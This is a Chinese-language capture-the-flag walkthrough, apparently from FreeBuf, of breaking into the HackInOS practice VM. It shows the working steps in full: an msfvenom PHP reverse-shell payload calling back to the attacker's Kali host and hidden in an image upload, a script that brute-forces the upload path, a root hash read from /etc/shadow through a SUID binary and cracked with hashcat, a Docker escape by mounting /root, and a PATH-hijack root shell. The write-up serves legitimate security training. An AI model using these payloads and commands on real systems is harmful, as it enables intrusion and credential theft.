HackInOS靶机渗透练习
2021-01-27 13:43:39 Author: www.freebuf.com(查看原文) 阅读量:94 收藏

网络结构:

网络结构由VMware虚拟机及物理机组成

靶机hackinOS:192.168.1.

Kali:192.168.1.132/24

物理机

信息收集:

主机发现:

Nmap扫描:

nmap -sP 192.168.1.0/24

此处192.168.1.1为VMnet1网卡地址,1.3为网关地址,1.137为kali的地址,判断靶机地址为192.168.1.136(这里因为原图在保存过程中丢失了,所以我重新扫描了一下放了张图,时间跟后面对不上,但是不妨碍,地址都是一样的)

image

端口扫描:

可以看到除了22端口,还开放了8000端口:

nmap -sV 192.168.1.136

image

漏洞挖掘:

访问8000端口:

可以看到一个web界面
image

访问robots.txt,可以看到提示了我们一个文件上传页面

注:robots协议也叫robots.txt(统一小写)是一种存放于网站根目录下的ASCII编码的文本文件,它通常告诉网络搜索引擎的漫游器(爬虫),此网站中的哪些内容是不应被搜索引擎的漫游器获取的,哪些是可以被漫游器获取的。

image

打开这个页面瞅瞅:

image

右键查看源代码,拖到最底下,看到给了一个github链接

image

转到这个GitHub页面,可以看到人家给了页面源码:可以上传文件,过滤了mime类型,仅允许png和gif格式

image

生成了一个1-100随机数,添加在文件尾部,用md5加密后作为新文件名

image

这里我们可以上传个木马,接收反弹shell,先制作一个反弹shell的php木马

msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.1.137 lport=4444 -f raw > 1.php

image

生成木马如下图,ip地址为kali的ip,端口号4444为kali要监听的端口

image

然后加到某一图片中,生成图片马

image

记事本打开此图片,可以看到我们1.php中的代码已经加到了图片最后面

image

图片马生成成功,接下来上传上去,将数据包用burp拦截下来,需要修改一下文件名后缀为php,不然到时候没法用

image

image

如上图已经可以看到上传成功,还提示了我们存放的目录位置

在kali端监听端口:

image

这里因为目标主机在存储上传过来的图片时,会在文件名尾部加一个1-100的随机数,然后对其进行md5加密,再生成新的文件名,我们无法直接访问,需要借助工具对目标路径进行爆破

这里首先运行一个python脚本a.py,生成字典zd1.txt

#!/usr/bin/python
import hashlib
for i in range(101):
	file ="3.php"+str(i)
	hash=hashlib.md5(file.encode())
	dir=hash.hexdigest()+".php"
	f = open("zd1.txt","a+")
	f.write(dir+"\r\n")
	f.close()

然后使用dirb进行遍历

dirb "http://192.168.1.136:8000/uploads" zd1.txt

成功检索到目标文件时如下图所示

image

监听端会返回过来一个shell

image

因为网站为wordpress搭建,其数据库信息存放在wp-config.php内,直接用cat就可以查看,可以看到数据库用户名和密码均为wordpress

image

此时我们可以查看下系统信息,判断服务是否运行在容器内

sysinfo

image

主机名为1afdd1f6b82c,像是在容器中运行,确认一下,确实运行在docker中

run post/linux/gather/checkcontainer

image

提权

虽然是在docker中,但现在我们也只有进行提权才能进一步想办法拿到主机shell

先上传一个Linux信息收集脚本 下载地址 https://github.com/sleventyeleven/linuxprivchecker

meterpreter > upload ~/桌面/linuxprivchecker.py /tmp/linuxprivchecker.py

image

这个脚本会提供给我们很多信息,包括我们此时最需要的设置了suid的命令,如下图,tail命令被设置了suid

image

直接用cat来查看shadow文件是查看不了的,所以我们可以用tail来查看shadow文件,可以看到root的用户名密码

tail -c1G /etc/shadow

image

root:$6$qoj6/JJi$FQe/BZlfZV9VX8m0i25Suih5vi1S//OVNpd.PvEVYcL1bWSrF3XTVTF91n60yUuUMUcP65EgT8HfjLyjGHova/:17951:0:99999:7:::

之后使用hashcat破解密码,将得到的用户名密码hash值存放在文件root.hash中,使用hashcat进行破解

image

命令:

hashcat -w 3 -a 0 -m 1800 -o root.out root.hash

此处参数,-w 调优,-a 指定要使用的破解模式,其值参考后面对参数。""-a 0"字典攻击,"-a 1" 组合攻击;"-a 3"掩码 攻击。 -m 1800 = SHA-512(Unix)

得到存有破解密码的文件root.out,查看密码为john

image

此处我们切换为root用户时需要使用到一个交互shell

python -c "import pty;pty.spawn('/bin/bash');"

image

此时docker内提权成功

docker逃逸

有了root权限我们可以查看数据库了,用之前获取的数据库用户名和密码登录mysql

mysql -h db -u wordpress -p

image

从上图中可以看到一个host_ssh_cred表,看起来像是ssh连接,查看下这个表,果然,从里面可以看到一组用户名密码

image

密码由md5加密,将其解密后,得到明文12345

image

使用ssh登录,登录成功

ssh [email protected]

image

登录后查看用户组,属于docker组,逃逸成功

image

二次提权

此时我们直接将root目录挂载至容器内,即可查看root下的文件

如图,成功拿到flag

docker run -it -v /root:/root ubuntu:latest

image

但此时我们还没有真正拿到root权限,继续进行提权

查看一下设置了suid的文件

ls -lh $(find / -perm -u=s -type f 2>/dev/null)

image

可以看到一个a.out,此文件显然是人为创建的可执行文件,运行一下看看,看到返回了结果root

/home/hummingbirdscyber/Desktop/a.out

image

我们不清楚这个文件的内容,但其执行结果仅返回了一个用户名,猜测调用了whoami文件

查看一下环境变量,可以看到/home/hummingbirdscyber/bin,此目录我们是有写权限的

image

我们可以自行编写一个whoami文件,因为我们猜测a.out中使用了whoami命令,而环境变量中又有一个我们具有写权限的目录,此时如果我们伪造一个whoami文件,a.out在调用命令时首先检索环境变量就会调用到我们伪造的whoami,执行我们想要的命令,来达到提权的效果,即使用环境变量进行命令劫持提权

此处whoami中的内容为返回一个shell,还需要说明一点,因为执行a.out的时候返回的是root,因此怀疑是使用root的权限来调用了whoami,此时我们如果能够获取到shell,则可以拿到root权限

hummingbirdscyber@vulnvm:~/Desktop$ nano whoami.c
hummingbirdscyber@vulnvm:~/Desktop$ cat whoami.c
#include <stdlib.h>
int main(void) {
    system("/bin/bash -p");
    return 0;
}
hummingbirdscyber@vulnvm:~/Desktop$ gcc -o whoami whoami.c  //编译
hummingbirdscyber@vulnvm:~/Desktop$ chmod +x whoami         //赋予执行权限

我们到hummingbirdscybe目录下,创建一个bin目录,然后将之前编译好的whoami移动到bin目录下

hummingbirdscyber@vulnvm:~$ mkdir bin
hummingbirdscyber@vulnvm:~$ mv Desktop/whoami bin/

执行a.out,前面的用户名变为了root

image

查看flag,无误,提权成功

image


文章来源: https://www.freebuf.com/articles/web/262095.html
如有侵权请联系:admin#unsafe.sh